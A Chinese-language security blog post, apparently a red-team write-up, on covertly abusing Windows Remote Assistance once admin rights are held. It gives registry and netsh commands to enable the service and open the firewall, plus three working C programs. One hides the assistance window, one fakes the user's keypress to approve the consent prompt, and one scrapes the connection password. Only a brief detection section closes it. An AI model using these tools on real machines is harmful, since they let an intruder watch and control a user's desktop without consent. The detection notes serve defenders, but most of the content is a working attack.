对于Windows系统,经常会用到远程桌面服务,通过界面对系统进行远程管理。
这其中存在一个不足:使用远程桌面服务进行远程登录(使用另一用户或是踢掉当前用户),无法获取到当前用户的系统状态。
如果想要查看(甚至是操作)当前用户的桌面,有什么好办法呢?
虽然我们可以通过编写程序来实现界面操作(捕获桌面信息,压缩传输,发送鼠标键盘消息等),但是如果能够使用Windows系统的默认功能,岂不是更好?
答案就是Windows系统的远程协助。
本文将要介绍以下内容:
System Properties
-> Remote
选中Allow Remote Assistance connections to this computer
如下图
Windows Firewall
->Allowed Programs
选中Remote Assistance
如下图
运行 -> msra.exe
选中Invite someone you trust to help you
如下图
选中Save this invitation as a file
如下图
保存为文件Invitation.msrcincident
自动弹出界面,生成一个随机密码,记录该密码,如下图
控制端运行文件Invitation.msrcincident
,填入上一步生成的密码,发起远程连接
服务端弹框,需要用户确认,允许远程协助,如下图
选择Yes,远程协助成功建立
修改注册表项HKLMSYSTEMCurrentControlSetControlRemote Assistance
下的键值fAllowToGetHelp
,1代表允许,0代表禁止
REG ADD "HKLMSYSTEMCurrentControlSetControlRemote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh advfirewall firewall set rule group="Remote Assistance" new enable=Yes
msra /saveasfile c:test1.msrcIncident 123456789012
保存文件路径为c:test1.msrcIncident
,连接密码为123456789012
获得窗口句柄,将窗口属性设置为隐藏
需要注意不同语言的系统中msra.exe的窗口标题不同,例如中文系统的窗口标题为Windows 远程协助
,英文系统的窗口标题为Windows Remote Assistance
可以先对当前系统语言作判断,接着寻找对应的窗口标题
为了使界面完全隐藏,需要加入循环判断,只要找到msra.exe的窗口立即对其隐藏
可供参考的代码如下:
#include <windows.h>
int main()
{
char *Title = NULL;
LANGID lid = GetSystemDefaultLangID();
printf("[*]LanguageID:0x%04xn",lid);
switch (lid)
{
case 0X0804:
printf("[*]Language:Chinesen",lid);
Title = "Windows 远程协助";
break;
case 0x0409:
printf("[*]Language:Englisthn",lid);
Title = "Windows Remote Assistance";
break;
}
for(int i=0;i<1;i)
{
HWND hwnd = FindWindow(NULL, Title);
ShowWindow(hwnd, SW_HIDE);
Sleep(100);
}
}
编译生成msra-hide.exe
正常情况下,控制端成功输入密码后,服务端会弹框提示用户是否允许远程协助
这里通过程序实现模拟用户输入,选中Yes
,对应的键盘操作为左箭头(<-)和回车确认键
代码如下:
#include <windows.h>
int main()
{
char *Title = NULL;
LANGID lid = GetSystemDefaultLangID();
printf("[*]LanguageID:0x%04xn",lid);
switch (lid)
{
case 0X0804:
printf("[*]Language:Chinesen",lid);
Title = "Windows 远程协助";
break;
case 0x0409:
printf("[*]Language:Englisthn",lid);
Title = "Windows Remote Assistance";
break;
}
HWND hwnd = FindWindow(NULL, Title);
SetActiveWindow(hwnd);
SetForegroundWindow(hwnd);
SetFocus(hwnd);
keybd_event(37,0,0,0);
keybd_event(37,0,KEYEVENTF_KEYUP,0);
keybd_event(13,0,0,0);
keybd_event(13,0,KEYEVENTF_KEYUP,0);
}
编译生成msra-allow.exe
通过枚举子窗口获得连接密码
使用API FindWindow获得窗口句柄
使用API EnumChildWindows遍历窗口所有子窗口,获得密码内容
API EnumChildWindows会自动枚举,直至获得最后一个子窗口或者函数返回0
实际测试发现第二个子窗口保存密码,所以在获得密码后函数返回0提前结束枚举
代码如下:
#include <windows.h>
int status = 0;
BOOL CALLBACK EnumMainWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
status++;
if (status == 2)
{
printf("[+]Find Passwordn");
printf("%sn", BufferContent);
return 0;
}
return 1;
}
int main()
{
char *Title = NULL;
LANGID lid = GetSystemDefaultLangID();
printf("[*]LanguageID:0x%04xn",lid);
switch (lid)
{
case 0X0804:
printf("[*]Language:Chinesen",lid);
Title = "Windows 远程协助";
break;
case 0x0409:
printf("[*]Language:Englisthn",lid);
Title = "Windows Remote Assistance";
break;
}
HWND hwnd = FindWindow(NULL, Title);
if(hwnd)
{
printf("[+]Find Windown");
EnumChildWindows(hwnd, EnumMainWindow, 0);
}
else
{
printf("[!]No Windown");
}
}
测试如下图
REG ADD "HKLMSYSTEMCurrentControlSetControlRemote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh advfirewall firewall set rule group="Remote Assistance" new enable=Yes
需要管理员权限
msra /saveasfile c:test1.msrcIncident 123456789012
获得文件1.msrcIncident
并执行,输入连接密码
需要管理员权限
如下图
在控制界面选择请求控制
需要管理员权限
控制端成功获得控制服务端鼠标
至此,成功获得目标系统的桌面操作权限
远程协助的记录保存位置:%SystemDrive%Usersuser_nameDocumentsRemote Assistance Logs
命名规则: YYYYMMDDHHMMSS.xml
(24小时时间格式)
日志文件内保存连接时间
本文介绍的方法前提是已经取得了系统的管理员权限,代表该系统已经被攻破
结合利用思路,可以通过以下方法检测:
HKLMSYSTEMCurrentControlSetControlRemote Assistance
键值被修改%SystemDrive%Usersuser_nameDocumentsRemote Assistance Logs
本文对Windows远程协助的功能进行了介绍,编写程序实现Windows远程协助的隐蔽执行,结合利用思路给出检测方法